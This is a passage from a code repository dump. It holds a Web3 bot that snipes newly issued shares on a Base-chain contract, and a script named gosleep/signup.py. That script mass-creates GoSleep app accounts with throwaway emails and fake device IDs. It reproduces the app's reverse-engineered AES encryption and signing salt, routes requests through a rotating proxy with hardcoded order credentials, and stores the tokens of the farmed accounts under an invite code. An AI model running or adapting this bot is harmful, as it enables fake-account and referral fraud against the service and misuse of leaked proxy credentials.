"supply", "type": "uint256"}, {"internalType": "uint256", "name": "amount", "type": "uint256"}], "name": "getPrice", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "pure", "type": "function"}, {"inputs": [{"internalType": "address", "name": "sharesSubject", "type": "address"}, {"internalType": "uint256", "name": "amount", "type": "uint256"}], "name": "getSellPrice", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [{"internalType": "address", "name": "sharesSubject", "type": "address"}, {"internalType": "uint256", "name": "amount", "type": "uint256"}], "name": "getSellPriceAfterFee", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "owner", "outputs": [{"internalType": "address", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "protocolFeeDestination", "outputs": [{"internalType": "address", "name": "", "type": "address"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "protocolFeePercent", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "renounceOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function"}, {"inputs": [{"internalType": "address", "name": "sharesSubject", "type": "address"}, {"internalType": "uint256", "name": "amount", "type": "uint256"}], "name": "sellShares", "outputs": [], "stateMutability": "payable", "type": "function"}, {"inputs": [{"internalType": "address", "name": "_feeDestination", "type": "address"}], "name": "setFeeDestination", "outputs": [], "stateMutability": "nonpayable", "type": "function"}, {"inputs": [{"internalType": "uint256", "name": "_feePercent", "type": "uint256"}], "name": "setProtocolFeePercent", "outputs": [], "stateMutability": "nonpayable", "type": "function"}, {"inputs": [{"internalType": "uint256", "name": "_feePercent", "type": "uint256"}], "name": "setSubjectFeePercent", "outputs": [], "stateMutability": "nonpayable", "type": "function"}, {"inputs": [{"internalType": "address", "name": "", "type": "address"}, {"internalType": "address", "name": "", "type": "address"}], "name": "sharesBalance", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [{"internalType": "address", "name": "", "type": "address"}], "name": "sharesSupply", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [], "name": "subjectFeePercent", "outputs": [{"internalType": "uint256", "name": "", "type": "uint256"}], "stateMutability": "view", "type": "function"}, {"inputs": [{"internalType": "address", "name": "newOwner", "type": "address"}], "name": "transferOwnership", "outputs": [], "stateMutability": "nonpayable", "type": "function"}] 12 | self.CAKE_BSC_ADDRESS = Web3.toChecksumAddress(self.contractAdd) 13 | self.token_contract = self.web3.eth.contract(address=self.CAKE_BSC_ADDRESS, abi=self.CAKE_BSC_ABI) 14 | 15 | def getBalance(self, address): 16 | balance = self.web3.fromWei(self.web3.eth.getBalance(address), "ether") 17 | print(balance) 18 | return balance 19 | 20 | def getContractBalance(self, address): 21 | balance = self.web3.fromWei(self.token_contract.functions.balanceOf(address).call(), "ether") 22 | print(balance) 23 | return balance 24 | 25 | def transfer(self, private_key, address, to_address, amount, gas_price=5, gas_limit=21000): 26 | nonce = self.web3.eth.getTransactionCount(address) 27 | params = { 28 | 'nonce': nonce, 29 | 'to': to_address, 30 | 'value': self.web3.toWei(amount, 'ether'), 31 | 'gas': gas_limit, 32 | 'gasPrice': self.web3.toWei(gas_price, 'gwei'), 33 | 'from': address, 34 | } 35 | signed_tx = self.web3.eth.account.signTransaction(params, private_key=private_key) 36 | tx_hash = self.web3.eth.sendRawTransaction(signed_tx.rawTransaction).hex() 37 | print(tx_hash) 38 | return tx_hash 39 | 40 | def transferContract(self, private_key, address, to_address, amount, gas_price=5, gas_limit=500000): 41 | params = { 42 | "from": address, 43 | "value": 0, 44 | 'gasPrice': self.web3.toWei(gas_price, 'gwei'), 45 | "gas": gas_limit, 46 | "nonce": self.web3.eth.getTransactionCount(address), 47 | } 48 | func = self.token_contract.functions.transfer(to_address, self.web3.toWei(amount, "ether")) 49 | tx = func.buildTransaction(params) 50 | signed_tx = self.web3.eth.account.sign_transaction(tx, private_key=private_key) 51 | tx_hash = self.web3.eth.sendRawTransaction(signed_tx.rawTransaction).hex() 52 | print(amount, tx_hash) 53 | return tx_hash 54 | 55 | def getTransaction(self, tx_hash): 56 | txn_info = self.web3.eth.getTransaction(tx_hash) 57 | print(txn_info) 58 | return txn_info 59 | 60 | def buyShares(self, buyAddress: str, amount: int, gasLimit=99900, gasPrice=0.11): 61 | buyAddress = Web3.toChecksumAddress(buyAddress) 62 | value = self.getBuyPrice(buyAddress, amount) 63 | print(datetime.now(), "购买", buyAddress, Web3.fromWei(value, "ether")) 64 | if Web3.fromWei(value, "ether") >= 0.0001: 65 | print(datetime.now(), "购买", buyAddress, "金额大于0.0001,非初始key,跳过") 66 | return 67 | params = { 68 | "from": MyAddress, 69 | "value": value, 70 | 'gasPrice': Web3.toWei(gasPrice, 'gwei'), 71 | "gas": gasLimit, 72 | "nonce": self.web3.eth.getTransactionCount(MyAddress), 73 | } 74 | tx = self.token_contract.functions.buyShares(buyAddress, amount).buildTransaction(params) 75 | signed_tx = self.web3.eth.account.sign_transaction(tx, PrivateKey) 76 | tx_hash = self.web3.eth.sendRawTransaction(signed_tx.rawTransaction).hex() 77 | print(datetime.now(), "购买hash:", tx_hash) 78 | 79 | def sellShares(self, sellAddress: str, amount: int, gasLimit=99900, gasPrice=0.11): 80 | sellAddress = Web3.toChecksumAddress(sellAddress) 81 | value = self.getSellPrice(sellAddress, amount) 82 | print(datetime.now(), "出售", sellAddress, Web3.fromWei(value, "ether")) 83 | params = { 84 | "from": MyAddress, 85 | "value": value, 86 | 'gasPrice': Web3.toWei(gasPrice, 'gwei'), 87 | "gas": gasLimit, 88 | "nonce": self.web3.eth.getTransactionCount(MyAddress), 89 | } 90 | tx = self.token_contract.functions.sellShares(sellAddress, amount).buildTransaction(params) 91 | signed_tx = self.web3.eth.account.sign_transaction(tx, PrivateKey) 92 | tx_hash = self.web3.eth.sendRawTransaction(signed_tx.rawTransaction).hex() 93 | print(datetime.now(), "出售hash:", tx_hash) 94 | 95 | def getBuyPrice(self, address, amount): 96 | address = Web3.toChecksumAddress(address) 97 | return w3.token_contract.functions.getBuyPriceAfterFee(address, amount).call() 98 | 99 | def getSellPrice(self, address, amount): 100 | address = Web3.toChecksumAddress(address) 101 | return w3.token_contract.functions.getSellPriceAfterFee(address, amount).call() 102 | 103 | 104 | web3 = Web3(Web3.HTTPProvider("https://base.publicnode.com")) 105 | w3 = Web3Api() 106 | -------------------------------------------------------------------------------- /gosleep/signup.py: -------------------------------------------------------------------------------- 1 | import base64 2 | import binascii 3 | import hashlib 4 | import json 5 | import logging 6 | import random 7 | import re 8 | import time 9 | 10 | import requests 11 | from Crypto.Cipher import AES 12 | 13 | logging.captureWarnings(True) 14 | 15 | 16 | class dyProxy: 17 | def __init__(self, orderno, secret): 18 | self.orderno = orderno 19 | self.secret = secret 20 | self.proxy = {"http": "http://dtan.xiongmaodaili.com:8088", "https": "http://dtan.xiongmaodaili.com:8088"} 21 | 22 | def getPA(self): 23 | timestamp = str(int(time.time())) 24 | sign = hashlib.md5(("orderno=" + self.orderno + "," + "secret=" + self.secret + "," + "timestamp=" + timestamp).encode()).hexdigest().upper() 25 | return "sign=" + sign + "&" + "orderno=" + self.orderno + "&" + "timestamp=" + timestamp + "&change=true" 26 | 27 | def post(self, url, data={}, headers={}): 28 | headers["Proxy-Authorization"] = self.getPA() 29 | res = requests.post(url, data=data, headers=headers, proxies=self.proxy, verify=False, timeout=10) 30 | return res 31 | 32 | 33 | class AESUtil: 34 | __BLOCK_SIZE_16 = BLOCK_SIZE_16 = AES.block_size 35 | 36 | def __init__(self, key, iv): 37 | self.key = key 38 | self.iv = iv 39 | 40 | def encryt(self, str): 41 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 42 | x = AESUtil.__BLOCK_SIZE_16 - (len(str) % AESUtil.__BLOCK_SIZE_16) 43 | if x != 0: 44 | str = str + chr(x)*x 45 | msg = cipher.encrypt(str.encode("utf8")) 46 | 47 | return msg 48 | 49 | def decrypt(self, decryptByts): 50 | cipher = AES.new(self.key, AES.MODE_CBC, self.iv) 51 | msg = cipher.decrypt(decryptByts).decode() 52 | paddingLen = ord(msg[len(msg)-1]) 53 | return msg[0:-paddingLen] 54 | 55 | 56 | def ec(func): 57 | def warp(*args): 58 | try: 59 | return func(*args) 60 | except BaseException: 61 | return warp(*args) 62 | return warp 63 | 64 | 65 | def md5(str): 66 | return hashlib.md5(bytes(str, encoding="utf8")).hexdigest() 67 | 68 | 69 | def randDevice_id(): 70 | ranstr = '0123456789abcde' 71 | returnStr = ''.join(random.choice(ranstr) for _ in range(16)) 72 | return returnStr 73 | 74 | 75 | def random09(lin): 76 | returnStr = '' 77 | for _ in range(lin): 78 | returnStr += str(random.randint(0, 9)) 79 | return returnStr 80 | 81 | 82 | def rand_email(code_len=8): 83 | e = ["@teml.net", "@tmpbox.net", "@moakt.cc", "@disbox.net", "@tmpmail.org", "@tmpmail.net", "@tmails.net", "@disbox.org", "@moakt.co", "@moakt.ws", "@tmail.ws", "@bareed.ws"] 84 | a = '0123456789abcdefghijklmnopqrstuvwxyz' 85 | b = random.choices(a, k=code_len) 86 | c = "".join(_ for _ in b) 87 | return c + random.choice(e) 88 | 89 | 90 | @ec 91 | def setEmail(email): 92 | data = { 93 | "username": email 94 | } 95 | res = requests.post("https://www.moakt.com/zh/inbox/change", data=data, headers=_header).text 96 | if "error" in res: 97 | print("该邮箱已被占用或已设置") 98 | else: 99 | print("设置邮箱成功") 100 | 101 | 102 | @ec 103 | def getCode(): 104 | # 获取邮件id 105 | res = requests.get("https://www.moakt.com/zh/inbox", headers=_header).text 106 | id = re.findall("\w{8}-\w{4}-\w{4}-\w{4}-\w{12}", res) 107 | # 没收到邮件重新获取 108 | if len(id) == 0: 109 | time.sleep(3) 110 | return getCode() 111 | else: 112 | # 收到根据id获取内容 113 | res = requests.get(f"https://www.moakt.com/zh/email/{id[0]}/content/", headers=_header).text 114 | # 寻找6位数验证码 115 | code = re.findall(re.compile("(\d{4})"), res)[1] 116 | print("获取到验证码 =>", code) 117 | return code 118 | 119 | 120 | def getHeaders(tt, authorization="", uid="0"): 121 | headers = { 122 | "Accept-Language": "zh", 123 | "User-Agent": "Android", 124 | "equipment": "Xiaomi Mi 10 Pro 10", 125 | "authorization": authorization, 126 | "version": "202", 127 | "TIMESTAMP": tt, 128 | "UID": uid, 129 | "LANGUAGE": "HK" 130 | } 131 | return headers 132 | 133 | 134 | def getTime(): 135 | tt = int(time.time()) 136 | return str(tt), hex(tt)[2:].rjust(12, '0') 137 | 138 | 139 | def getInfo(res): 140 | lp = ["data", "datb", "datc", "datd", "date", "datg", "dath", "dati", "datj", "datk", "datl", "datm", "datn", "dato", "datp", "datq", "datr", "dats", "datt", "datu", "datv", "datw", "datx", "daty", "datz", "dat~", "dat1", "dat2", "dat3", "dat4", "dat5", "dat6", "dat7", "dat8", "dat9", "dat0", "dat-", "dat+", "dat_", "dat=", "dat)", "dat(", "dat^", "dat%", "dat#", "dat!", "dat.", "dat,", "dat>", "dat<", "dat|", "dat*", "dat/", "dat`"] 141 | for i in lp: 142 | if i in res: 143 | key_b64 = res[i]["access_01"] 144 | iv_b64 = res[i]["access_02"] 145 | email = res[i]["email"] 146 | authorization = res[i]["token"] 147 | uid = res[i]["uid"] 148 | print(key_b64, iv_b64, email, authorization, uid) 149 | return key_b64, iv_b64, email, authorization, uid 150 | 151 | 152 | def signup_email_sendSms(device_id, email): 153 | tt, tt_hex = getTime() 154 | aes = AESUtil("/login_api/email".encode("utf8"), binascii.a2b_hex(f'{tt_hex}00000000000000000000')) 155 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={"email":"'+email+'"}&platform=10&time_zone=Asia/Shanghai&uid=0&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 156 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{"email":"'+email+'"},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":0,"unity_version":0,"version":"2.0.2"}') 157 | res = requests.post("https://app.gosleep.pro/login_api/email_reg_code", data, headers=getHeaders(tt), stream=True).content 158 | print("sendSms", aes.decrypt(res)) 159 | 160 | 161 | def login_token(device_id, authorization, uid): 162 | tt, tt_hex = getTime() 163 | aes = AESUtil("/login_api/token".encode(), binascii.a2b_hex(f'{tt_hex}00000000000000000000')) 164 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={"access_token":"'+authorization+'"}&platform=10&time_zone=Asia/Shanghai&uid='+uid+'&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 165 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{"access_token":"'+authorization+'"},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":'+uid+',"unity_version":0,"version":"2.0.2"}') 166 | res_content = requests.post("https://app.gosleep.pro/login_api/token_login", data, headers=getHeaders(tt, authorization, uid), stream=True).content 167 | res = json.loads(aes.decrypt(res_content)) 168 | key_b64, iv_b64, email, authorization, uid = getInfo(res) 169 | return key_b64, iv_b64, email, authorization, uid 170 | 171 | 172 | def bind_invite_code(key, iv, device_id, authorization, uid, inviter_code): 173 | tt, tt_hex = getTime() 174 | aes = AESUtil(binascii.a2b_hex(key), binascii.a2b_hex(f"{iv}{tt_hex}")) 175 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={"inviter_code":"'+inviter_code+'"}&platform=10&time_zone=Asia/Shanghai&uid='+uid+'&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 176 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{"inviter_code":"'+inviter_code+'"},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":'+uid+',"unity_version":0,"version":"2.0.2"}') 177 | res = requests.post("https://app.gosleep.pro/invite_api/bind_invite_code", data, headers=getHeaders(tt, authorization, uid)).content 178 | print("bind_invite_code", aes.decrypt(res)) 179 | 180 | 181 | def signup_email(device_id, email, code): 182 | tt, tt_hex = getTime() 183 | aes = AESUtil("/nighttalk_api_l".encode(), binascii.a2b_hex(f'{tt_hex}00000000000000000000')) 184 | sign = md5('channel=GPID_And_001&device_id='+device_id+'&language=HK&machine=Xiaomi-Mi 10 Pro&main_version=202&os=Android¶ms={"code":"'+code+'","email":"'+email+'"}&platform=10&time_zone=Asia/Shanghai&uid=0&unity_version=0&version=2.0.28@j#1h@vpo#@ss4tnfz+aa^k@e2zu8kd_+ftnd)=&=r4ag6&b') 185 | data = aes.encryt('{"channel":"GPID_And_001","device_id":"'+device_id+'","language":"HK","machine":"Xiaomi-Mi 10 Pro","main_version":202,"os":"Android","params":{"code":"'+code+'","email":"'+email+'"},"platform":"10","sign":"'+sign+'","time_zone":"Asia/Shanghai","uid":0,"unity_version":0,"version":"2.0.2"}') 186 | res_content = requests.post("https://app.gosleep.world/nighttalk_api_login_reg/email", data=data, headers=getHeaders(tt)).content 187 | res = json.loads(aes.decrypt(res_content)) 188 | print(res) 189 | key_b64, iv_b64, email, authorization, uid = getInfo(res) 190 | # key, iv = base64.b64decode(key_b64).hex(), base64.b64decode(iv_b64).hex() 191 | # bind_invite_code(key, iv, device_id, authorization, str(uid), invite) 192 | open(f"./gosleep/{invite}.txt", "a").write(f"{email}|{uid}|{key_b64}|{iv_b64}|{device_id}|{authorization}\n") 193 | 194 | 195 | proxy = dyProxy("DT20230201141715p80Bq1S7", "8ef8310f218f30cb69580bd3820e3278") 196 | _ck = requests.post("https://www.moakt.com/zh/inbox", allow_redirects=False).headers["Set-Cookie"] 197 | _header = {"cookie": _ck, "x-requested-with": "XMLHttpRequest"} 198 | invite = "zh" 199 | 200 | 201 | # @ec 202 | def main(): 203 | device_id = randDevice_id() + "cmiunknown" 204 | email = rand_email(random.randint(5, 9)) 205 | print("随机邮箱", email) 206 | 207 | setEmail(email) 208 | signup_email_sendSms(device_id, email) 209 | time.sleep(3) 210 | code = getCode() 211 | 212 | signup_email(device_id, email, code) 213 | 214 | 215 | # while True: 216 | main() 217 | --------------------------------------------------------------------------------